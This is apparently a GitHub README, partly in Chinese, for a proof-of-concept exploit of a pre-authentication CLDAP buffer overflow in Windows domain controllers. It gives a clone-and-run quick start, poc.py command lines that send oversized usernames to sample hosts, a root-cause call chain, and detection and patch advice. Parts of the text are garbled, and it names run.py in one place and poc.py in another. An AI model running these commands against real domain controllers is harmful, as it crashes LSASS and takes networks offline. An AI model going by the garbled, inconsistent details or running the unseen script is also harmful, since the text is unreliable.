Coasttruvitalize/CVE-2026-41089-latest

# CVE-2026-41089 ## 快速开始 ``` git clone https://github.com/Coasttruvitalize/CVE-2026-41089-latest.git cd CVE-2026-41089-latest python run.py ``` ``` ██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ██║ ██║███║██╔═████╗██╔═████╗ ██║ ██║ ██║█████╗ ███████║╚██║██║██╔██║██║██╔██║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔══██║ ██║████╔╝██║████╔╝██║ ╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ██║╚██████╔╝╚██████╔╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ``` **通过 CLDAP 栈缓冲区溢出实现 Windows Netlogon 远程代码执行**     向端口 389 发送的一个特制 UDP 数据包，会导致任何未修补的 Windows 域控制器上的 LSASS 内部的 528 字节栈缓冲区溢出。该进程 崩溃。DC 将在约 60 秒内重启。无需身份验证。 | | | |---|---| | **攻击向量** | UDP 389 (CLDAP)，预认证，零凭证 | | **影响** | LSASS 崩溃，DC 重启，潜在 RCE | | **CWE** | CWE-121（基于栈的缓冲区溢出） | | **CVSS 向量** | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **发布** | 2026 年 5 月 12 日由 Microsoft 发布 | ## 受影响系统 所有作为域控制器运行的 Windows Server 版本： | 服务器版本 | 修复版本 | |--------------------|--------------------------| | 2012 / 2012 R2 | 仅 ESU 补丁 | | 2016 | 10.0.14393.9140 | | 2019 | 10.0.17763.8755 | | 2022 | 10.0.20348.5074 | | 2022 23H2 | 10.0.25398.2330 | | 2025 | 10.0.26100.32772 | ## 根本原因 `NlGetLocalPingResponse` 分配了一个 528 字节的栈缓冲区并将其 传递给 `BuildSamLogonResponse`。该函数调用 `NetpLogonPutUnicodeString` 以将服务器名称、域名、GUID 以及攻击者控制的 用户名写入缓冲区。 漏洞在于：`NetpLogonPutUnicodeString` 接收的最大长度单位为字节， 但却将其当作 WCHAR 计数处理。通过此路径写入的每个字符串 都会占用两倍于预期的空间。CLDAP 过滤器中的“User”字段 （最多 130 个 wchars，传输占用 260 字节）会将合并后的写入量 推过 528 字节的边界。 ``` I_NetLogonLdapLookupEx -> NlGetLocalPingResponse // 528-byte stack buffer -> LogonRequestHandler -> BuildSamLogonResponse -> NetpLogonPutUnicodeString // byte/WCHAR size confusion ``` # 连接测试（短用户名，无溢出） python3 poc.py 10.0.50.21 corp.local # 默认溢出尝试 python3 poc.py 10.0.50.21 corp.local -l 130 # 更大的 payload，为慢速网络设置更长超时 python3 poc.py 10.0.50.21 corp.local -l 200 -t 10 ``` Requires Python 3.8+. No third-party packages. ## 工作原理 the target responds on UDP 389. characters of "A". This pushes the serialized data past the stack buffer boundary. If LSASS crashes, the recv times out. whether the DC is still alive. No response = LSASS crash confirmed. The overflow triggers a denial of service (LSASS crash, DC reboot). RCE through stack corruption is possible in theory. This PoC does not attempt code execution. ## 检测 **Network.** Scan CLDAP traffic for search requests where the "User" filter attribute exceeds 20-30 characters. Normal DC locator pings use service account names (short strings). **Host.** Watch for LSASS crashes tied to netlogon.dll (Event ID 1000). Enable Netlogon debug logging: ``` nltest /dbflag:0x2080ffff ``` ## 缓解 - Install the May 2026 Microsoft security update - Restrict UDP 389 inbound to trusted management subnets - For legacy Server versions out of ESU: 0patch ships micropatches (single instruction fix: `mov edx, 0x40` to halve the max username length) ## 参考资料 - [Microsoft Security Update Guide](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089) - [NVD - CVE-2026-41089](https://nvd.nist.gov/vuln/detail/CVE-2026-41089) - [0patch Analysis and Micropatch](https://blog.0patch.com/2026/05/micropatches-released-for-windows_0304568783.html) - [Aretiq AI Reverse Engineering](https://aretiq.ai/research/vul260513-cve-2026-41089-microsoft-windows-netlogon-buildsamlogonresponse-stack-based-buffer-overflow-rce/) - [RFC 4511 - LDAP](https://tools.ietf.org/html/rfc4511) - [MS-ADTS - CLDAP DC Locator](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/0de3704e-a799-4afa-b12a-3fef2f8e2e66) --- > **Legal.** This code exists for authorized security research and > education. Test only against systems you own or have written permission > to test. Unauthorized access to computer systems violates the CFAA and > equivalent laws in most jurisdictions. **[MIT License](LICENSE)** ```

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